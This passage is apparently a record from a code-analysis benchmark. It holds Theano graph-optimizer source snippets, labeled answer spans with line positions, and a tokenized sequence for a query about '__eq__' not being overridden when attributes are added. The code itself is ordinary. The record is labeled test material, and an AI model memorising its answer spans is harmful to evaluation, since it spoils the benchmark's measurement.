hasattr(opts, \"__name__\"):\n print(blanc, opts.__name__, end=' ', file=stream)\n print((\" time %.3fs for %d/%d nodes\"\n \" before/after optimization\" % (\n sum(prof), nb_node_before, nb_node_after)), file=stream)\n print(blanc, \" %.3fs for callback\" % (callback_time), file=stream)\n print(blanc, \" %.3fs for fgraph.validate()\" % (validate_time), file=stream)\n if level == 0:\n print(blanc, \" time - (name, class, index) - validate time\", file=stream)\n ll = []\n for opt in opts:\n if hasattr(opt, \"__name__\"):\n ll.append((opt.__name__, opt.__class__.__name__,\n opts.index(opt)))\n else:\n ll.append((opt.name, opt.__class__.__name__,\n opts.index(opt)))\n lll = sorted(zip(prof, ll), key=lambda a: a[0])\n\n for (t, opt) in lll[::-1]:\n # if t < 1:\n # continue\n if sub_validate_time:\n i = opt[-1]\n val_time = sub_validate_time[i + 1] - sub_validate_time[i]\n print(blanc, ' %.6fs - %s - %.3fs' % (\n t, opt, val_time), file=stream)\n else:\n print(blanc, ' %.6fs - %s' % (t, opt), file=stream)\n\n if sub_profs[opt[-1]]:\n opts[opt[-1]].print_profile(stream, sub_profs[opt[-1]],\n level=level + 1)\n print(file=stream)", "metadata": "root.SeqOptimizer.print_profile", "header": "['class', 'SeqOptimizer', '(', 'Optimizer', ',', 'list', ')', ':', '___NEWLINE___', '# inherit from Optimizer first to get Optimizer.__hash__', '___NL___', '___EOS___']", "index": 268 }, { "content": " @staticmethod\n def merge_profile(prof1, prof2):\n \"\"\"\n Merge 2 profiles returned by this cass apply() fct.\n\n \"\"\"\n new_t = []\n new_l = []\n new_sub_profile = []\n # merge common(same object) opt\n for l in set(prof1[0]).intersection(set(prof2[0])):\n idx1 = prof1[0].index(l)\n idx2 = prof2[0].index(l)\n new_t.append(prof1[1][idx1] +\n prof2[1][idx2])\n new_l.append(l)\n if hasattr(l, 'merge_profile'):\n assert len(prof1[6][idx1]) == len(prof2[6][idx2])\n new_sub_profile.append(l.merge_profile(prof1[6][idx1],\n prof2[6][idx2]))\n else:\n new_sub_profile.append(None)\n\n # merge not common opt\n from six import StringIO\n for l in set(prof1[0]).symmetric_difference(set(prof2[0])):\n # The set trick above only work for the same object optimization\n # It don't work for equivalent optimization.\n # So we try to merge equivalent optimization here.\n new_l_names = [o.name for o in new_l]\n if l.name in new_l_names:\n idx = new_l_names.index(l.name)\n io1 = StringIO()\n io2 = StringIO()\n l.print_summary(io1)\n new_l[idx].print_summary(io2)\n if io1.read() == io2.read():\n if l in prof1[0]:\n p = prof1\n else:\n p = prof2\n new_t[idx] += p[1][p[0].index(l)]\n if hasattr(l, 'merge_profile'):\n assert len(p[6][p[0].index(l)]) == \\\n len(new_sub_profile[idx])\n new_sub_profile[idx] = l.merge_profile(\n new_sub_profile[idx], p[6][p[0].index(l)])\n else:\n new_sub_profile[idx] = None\n continue\n if l in prof1[0]:\n p = prof1\n else:\n p = prof2\n new_t.append(p[1][p[0].index(l)])\n idx = p[0].index(l)\n new_l.append(l)\n new_sub_profile.append(p[6][idx])\n\n new_opt = SeqOptimizer(*new_l)\n # We need to assert based on the name as we merge also based on\n # the name.\n assert set([l.name for l in prof1[0]]).issubset(\n set([l.name for l in new_l]))\n assert set([l.name for l in prof2[0]]).issubset(\n set([l.name for l in new_l]))\n assert len(new_t) == len(new_opt) == len(new_sub_profile)\n return (new_opt, new_t, prof1[2] + prof2[2],\n prof1[3] + prof2[3],\n -1, -1, new_sub_profile, [])", "metadata": "root.SeqOptimizer.merge_profile", "header": "['class', 'SeqOptimizer', '(', 'Optimizer', ',', 'list', ')', ':', '___NEWLINE___', '# inherit from Optimizer first to get Optimizer.__hash__', '___NL___', '___EOS___']", "index": 312 }, { "content": "class NavigatorOptimizer(Optimizer):\n \"\"\"\n Abstract class.\n\n Parameters\n ----------\n local_opt\n A LocalOptimizer to apply over a FunctionGraph (or None is Ok too).\n ignore_newtrees\n - True: new subgraphs returned by an optimization is not a\n candidate for optimization.\n - False: new subgraphs returned by an optimization is a candidate\n for optimization.\n - 'auto': let the local_opt set this parameter via its 'reentrant'\n attribute.\n failure_callback\n A function that takes (exception, navigator, [(old, new),\n (old,new),...]) and we call it if there's an exception.\n\n If the trouble is from local_opt.transform(), the new variables\n will be 'None'.\n\n If the trouble is from validation (the new types don't match for\n example) then the new variables will be the ones created by\n transform().\n\n If this parameter is None, then exceptions are not caught here\n (raised normally).\n\n \"\"\"\n\n\n\n\n\n\n\n", "metadata": "root.NavigatorOptimizer", "header": "['module', '___EOS___']", "index": 1612 }, { "content": " @staticmethod\n def warn(exc, nav, repl_pairs, local_opt, node):\n \"\"\"\n Failure_callback for NavigatorOptimizer: print traceback.\n\n \"\"\"\n if config.on_opt_error != 'ignore':\n _logger.error(\"Optimization failure due to: %s\" % str(local_opt))\n _logger.error(\"node: %s\" % str(node))\n _logger.error(\"TRACEBACK:\")\n _logger.error(traceback.format_exc())\n if config.on_opt_error == 'pdb':\n pdb.post_mortem(sys.exc_info()[2])\n elif isinstance(exc, AssertionError) or config.on_opt_error == 'raise':\n # We always crash on AssertionError because something may be\n # seriously wrong if such an exception is raised.\n raise exc", "metadata": "root.NavigatorOptimizer.warn", "header": "['class', 'NavigatorOptimizer', '(', 'Optimizer', ')', ':', '___EOS___']", "index": 1642 }, { "content": " @staticmethod\n def warn_inplace(exc, nav, repl_pairs, local_opt, node):\n \"\"\"\n Failure_callback for NavigatorOptimizer.\n\n Ignore InconsistencyErrors, print traceback.\n\n If error during replacement repl_pairs is set. Otherwise None.\n\n \"\"\"\n if isinstance(exc, InconsistencyError):\n return\n return NavigatorOptimizer.warn(exc, nav, repl_pairs, local_opt, node)", "metadata": "root.NavigatorOptimizer.warn_inplace", "header": "['class', 'NavigatorOptimizer', '(', 'Optimizer', ')', ':', '___EOS___']", "index": 1660 }, { "content": " @staticmethod\n def warn_ignore(exc, nav, repl_pairs, local_opt, node):\n \"\"\"\n Failure_callback for NavigatorOptimizer: ignore all errors.\n\n \"\"\"\n pass", "metadata": "root.NavigatorOptimizer.warn_ignore", "header": "['class', 'NavigatorOptimizer', '(', 'Optimizer', ')', ':', '___EOS___']", "index": 1674 }, { "content": " def __init__(self, local_opt, ignore_newtrees='auto',\n failure_callback=None):\n self.local_opt = local_opt\n if ignore_newtrees == 'auto':\n self.ignore_newtrees = not getattr(local_opt, 'reentrant', True)\n else:\n self.ignore_newtrees = ignore_newtrees\n self.failure_callback = failure_callback", "metadata": "root.NavigatorOptimizer.__init__", "header": "['class', 'NavigatorOptimizer', '(', 'Optimizer', ')', ':', '___EOS___']", "index": 1682 }, { "content": " def attach_updater(self, fgraph, importer, pruner, chin=None):\n \"\"\"\n Install some FunctionGraph listeners to help the navigator deal with\n the ignore_trees-related functionality.\n\n Parameters\n ----------\n importer\n Function that will be called whenever optimizations add stuff\n to the graph.\n pruner\n Function to be called when optimizations remove stuff\n from the graph.\n chin\n \"on change input\" called whenever a node's inputs change.\n\n Returns\n -------\n object\n The FunctionGraph plugin that handles the three tasks.\n Keep this around so that you can detach later!\n\n \"\"\"\n if self.ignore_newtrees:\n importer = None\n\n if importer is None and pruner is None:\n return None\n\n u = Updater(importer, pruner, chin)\n fgraph.attach_feature(u)\n return u", "metadata": "root.NavigatorOptimizer.attach_updater", "header": "['class', 'NavigatorOptimizer', '(', 'Optimizer', ')', ':', '___EOS___']", "index": 1691 }, { "content": " def detach_updater(self, fgraph, u):\n \"\"\"\n Undo the work of attach_updater.\n\n Parameters\n ----------\n u\n A return-value of attach_updater.\n\n Returns\n -------\n None\n\n \"\"\"\n if u is not None:\n fgraph.remove_feature(u)", "metadata": "root.NavigatorOptimizer.detach_updater", "header": "['class', 'NavigatorOptimizer', '(', 'Optimizer', ')', ':', '___EOS___']", "index": 1724 }, { "content": " def process_node(self, fgraph, node, lopt=None):\n \"\"\"\n This function will use `lopt` to `transform` the `node`. The\n `transform` method will return either False or a list of Variables\n that are intended to replace `node.outputs`.\n\n If the fgraph accepts the replacement, then the optimization is\n successful, and this function returns True.\n\n If there are no replacement candidates or the fgraph rejects the\n replacements, this function returns False.\n\n Parameters\n ----------\n fgraph\n A FunctionGraph.\n node\n An Apply instance in `fgraph`\n lopt\n A LocalOptimizer instance that may have a better idea for\n how to compute node's outputs.\n\n Returns\n -------\n bool\n True iff the `node`'s outputs were replaced in the `fgraph`.\n\n \"\"\"\n lopt = lopt or self.local_opt\n try:\n replacements = lopt.transform(node)\n except Exception as e:\n if self.failure_callback is not None:\n self.failure_callback(e, self,\n [(x, None) for x in node.outputs],\n lopt, node)\n return False\n else:\n raise\n if replacements is False or replacements is None:\n return False\n old_vars = node.outputs\n if isinstance(replacements, dict):\n old_vars = list(replacements.keys())\n replacements = list(replacements.values())\n elif not isinstance(replacements, (tuple, list)):\n raise TypeError('Optimizer %s gave wrong type of replacement. '\n 'Expected list or tuple. Got %s' % (\n lopt, replacements))\n if len(old_vars) != len(replacements):\n raise ValueError('Optimizer %s gave wrong number of replacements'\n % lopt)\n # None in the replacement mean that this variable isn't used\n # and we want to remove it\n for r, rnew in zip(old_vars, replacements):\n if rnew is None and len(r.clients) > 0:\n raise ValueError(\"A local optimizer tried to remove a Variable that is used\")\n # If an output would be replaced by itself, no need to perform\n # the replacement\n repl_pairs = [(r, rnew) for r, rnew in zip(old_vars, replacements)\n if rnew is not r and rnew is not None]\n\n if len(repl_pairs) == 0:\n return False\n try:\n fgraph.replace_all_validate(repl_pairs, reason=lopt)\n return True\n except Exception as e:\n # This means the replacements were rejected by the fgraph.\n #\n # This is not supposed to happen. The default failure_callback\n # will print a traceback as a warning.\n if self.failure_callback is not None:\n self.failure_callback(e, self, repl_pairs, lopt, node)\n return False\n else:\n raise", "metadata": "root.NavigatorOptimizer.process_node", "header": "['class', 'NavigatorOptimizer', '(', 'Optimizer', ')', ':', '___EOS___']", "index": 1741 }, { "content": " def add_requirements(self, fgraph):\n super(NavigatorOptimizer, self).add_requirements(fgraph)\n # Added by default\n # fgraph.attach_feature(toolbox.ReplaceValidate())\n if self.local_opt:\n self.local_opt.add_requirements(fgraph)", "metadata": "root.NavigatorOptimizer.add_requirements", "header": "['class', 'NavigatorOptimizer', '(', 'Optimizer', ')', ':', '___EOS___']", "index": 1819 }, { "content": " def print_summary(self, stream=sys.stdout, level=0, depth=-1):\n print(\"%s%s (%i)\" % (\n (' ' * level), self.__class__.__name__, id(self)), file=stream)\n if depth != 0:\n self.local_opt.print_summary(stream, level=(level + 2),\n depth=(depth - 1))", "metadata": "root.NavigatorOptimizer.print_summary", "header": "['class', 'NavigatorOptimizer', '(', 'Optimizer', ')', ':', '___EOS___']", "index": 1826 } ]
[ { "span": "class FromFunctionOptimizer(Optimizer):", "start_line": 128, "start_column": 0, "end_line": 128, "end_column": 39 }, { "span": "class SeqOptimizer(Optimizer, list):", "start_line": 177, "start_column": 0, "end_line": 177, "end_column": 36 }, { "span": "class NavigatorOptimizer(Optimizer):", "start_line": 1612, "start_column": 0, "end_line": 1612, "end_column": 36 } ]
[ { "span": "def __eq__(self, other):", "start_line": 53, "start_column": 4, "end_line": 53, "end_column": 28 }, { "span": "self.apply ", "start_line": 134, "start_column": 8, "end_line": 134, "end_column": 18 }, { "span": "self.requirements ", "start_line": 135, "start_column": 8, "end_line": 135, "end_column": 25 }, { "span": "self.failure_callback ", "start_line": 208, "start_column": 8, "end_line": 208, "end_column": 29 }, { "span": "self.local_opt ", "start_line": 1684, "start_column": 8, "end_line": 1684, "end_column": 22 }, { "span": "self.ignore_newtrees ", "start_line": 1686, "start_column": 12, "end_line": 1686, "end_column": 32 }, { "span": "self.ignore_newtrees ", "start_line": 1688, "start_column": 12, "end_line": 1688, "end_column": 32 }, { "span": "self.failure_callback ", "start_line": 1689, "start_column": 8, "end_line": 1689, "end_column": 29 } ]
1
false
[ "[CLS]_", "`_", "\\u\\u", "eq\\u\\u_", "`_", "not_", "overrid", "den_", "when_", "addin", "g_", "attributes_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Optimizer_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "WRITE", "ME", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "An", " ", "L", "{", "Optimize", "r", "}", " ", "can", " ", "be", " ", "applied", " ", "to", " ", "an", " ", "L", "{", "Function", "Graph", "}", " ", "to", " ", "transform", " ", "it", ".", "\\", "10", ";", " ", " ", " ", " ", "It", " ", "can", " ", "represent", " ", "an", " ", "optimization", " ", "or", " ", "in", " ", "genera", "l", " ", "any", " ", "kind", "\\", "10", ";", " ", " ", " ", " ", "of", " ", "transformation", " ", "you", " ", "coul", "d", " ", "appl", "y", " ", "to", " ", "an", " ", "L", "{", "Function", "Graph", "}.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Optimizer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "hash\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "hasattr_", "(_", "self_", ",_", "'\\u", "optimize", "r", "\\u", "idx", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "optimize", "r", "\\u", "idx_", "=_", "\\u", "optimize", "r", "\\u", "idx_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "optimize", "r", "\\u", "idx_", "[_", "0_", "]_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "\\u", "optimize", "r", "\\u", "idx_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Optimizer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "eq\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "adde", "d", " ", "to", " ", "override", " ", "the", " ", " ", "\\u\\u", "eq", "\\u\\u", " ", "implementation", " ", "tha", "t", " ", "may", " ", "be", " ", "inherited", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "in", " ", "subclasses", " ", "from", " ", "other", " ", "base", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "id_", "(_", "self_", ")_", "==_", "id_", "(_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Optimizer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "neq", "\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "adde", "d", " ", "to", " ", "override", " ", "the", " ", " ", "\\u\\u", "neq", "\\u\\u", " ", "implementation", " ", "tha", "t", " ", "may", " ", "be", " ", "inherited", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "in", " ", "subclasses", " ", "from", " ", "other", " ", "base", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "id_", "(_", "self_", ")_", "!=_", "id_", "(_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Optimizer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "apply_", "(_", "self_", ",_", "fg", "raph_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "WRITE", "ME", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Appl", "ies", " ", "the", " ", "optimization", " ", "to", " ", "the", " ", "provided", " ", "L", "{", "Function", "Graph", "}.", " ", "It", " ", "may", "\\", "10", ";", " ", " ", " ", " ", "use", " ", "all", " ", "the", " ", "method", "s", " ", "defin", "ed", " ", "by", " ", "the", " ", "L", "{", "Function", "Graph", "}.", " ", "If", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "L", "{", "Optimize", "r", "}", " ", "need", "s", " ", "to", " ", "use", " ", "a", " ", "cert", "ain", " ", "tool", ",", " ", "suc", "h", " ", "as", " ", "an", "\\", "10", ";", " ", " ", " ", " ", "L", "{", "Insta", "nce", "Fin", "der", "},", " ", "it", " ", "can", " ", "do", " ", "so", " ", "in", " ", "its", " ", "L", "{", "add", "\\u", "require", "ment", "s", "}", " ", "method", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Optimizer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "optimize_", "(_", "self_", ",_", "fg", "raph_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "WRITE", "ME", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "is", " ", "mean", "t", " ", "as", " ", "a", " ", "shortcut", " ", "to", ":", "\\", "10", ";", " ", " ", "opt", ".", "add", "\\u", "require", "ment", "s", "(", "fg", "raph", ")", "\\", "10", ";", " ", " ", "opt", ".", "appl", "y", "(", "fg", "raph", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "\\u", "requirements_", "(_", "fg", "raph_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "orig_", "=_", "theano_", "._", "tensor_", "._", "basic_", "._", "constant_", "._", "enable_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "theano_", "._", "tensor_", "._", "basic_", "._", "constant_", "._", "enable_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "apply_", "(_", "fg", "raph_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "theano_", "._", "tensor_", "._", "basic_", "._", "constant_", "._", "enable_", "=_", "orig_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "ret_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Optimizer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "call\\u\\u_", "(_", "self_", ",_", "fg", "raph_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "WRITE", "ME", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Sam", "e", " ", "as", " ", "self", ".", "optimize", "(", "fg", "raph", ").", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "optimize_", "(_", "fg", "raph_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Optimizer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "requirements_", "(_", "self_", ",_", "fg", "raph_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "WRITE", "ME", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Add", " ", "features", " ", "to", " ", "the", " ", "fg", "raph", " ", "tha", "t", " ", "are", " ", "require", "d", " ", "to", " ", "appl", "y", " ", "the", " ", "optimization", ".", "\\", "10", ";", " ", " ", " ", " ", "For", " ", "example", ":", "\\", "10", ";", " ", " ", "fg", "raph", ".", "attach", "\\u", "feature", "(", "Hist", "ory", "())", "\\", "10", ";", " ", " ", "fg", "raph", ".", "attach", "\\u", "feature", "(", "My", "Feature", "())", "\\", "10", ";", " ", " ", "etc", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Optimizer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "print", "\\u", "summary_", "(_", "self_", ",_", "stream_", "=_", "sys_", "._", "stdout_", ",_", "level_", "=_", "0_", ",_", "depth_", "=_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "getattr_", "(_", "self_", ",_", "'", "name", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"%", "s", "%", "s", " ", "%", "s", " ", "id", "=", "%", "i", "\"_", "%_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", " ", "'_", "*_", "level_", ")_", ",_", "self_", "._", "\\u\\u", "class\\u\\u_", "._", "\\u\\u", "name\\u\\u_", ",_", "name_", ",_", "id_", "(_", "self_", ")_", ")_", ",_", "file_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Optimizer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "print", "\\u", "profile_", "(_", "stream_", ",_", "prof_", ",_", "level_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "prof_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Not", "Impl", "ement", "ed", "Error_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "The", " ", "function", " ", "print", "\\u", "profile", " ", "must", " ", "be", " ", "override", "d", " ", "if", " ", "the", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", " ", "optimize", "r", " ", "return", " ", "profiling", " ", "informati", "on", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Fro", "m", "Function", "Optimizer_", "(_", "Optimizer_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "WRITE", "ME", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Fro", "m", "Function", "Optimizer_", "(_", "Optimizer_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "fn_", ",_", "requirements_", "=_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "apply_", "=_", "fn_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "requirements_", "=_", "requirements_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fro", "m", "Function", "Optimizer_", "(_", "Optimizer_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "requirements_", "(_", "self_", ",_", "fg", "raph_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "req_", "in_", "self_", "._", "requirements_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "req_", "(_", "fg", "raph_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fro", "m", "Function", "Optimizer_", "(_", "Optimizer_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "print", "\\u", "summary_", "(_", "self_", ",_", "stream_", "=_", "sys_", "._", "stdout_", ",_", "level_", "=_", "0_", ",_", "depth_", "=_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"%", "s", "%", "s", " ", "id", "=", "%", "i", "\"_", "%_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", " ", "'_", "*_", "level_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "str_", "(_", "self_", "._", "apply_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "id_", "(_", "self_", ")_", ")_", ",_", "file_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fro", "m", "Function", "Optimizer_", "(_", "Optimizer_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "call\\u\\u_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "fn_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fro", "m", "Function", "Optimizer_", "(_", "Optimizer_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "str\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u\\u", "name\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", 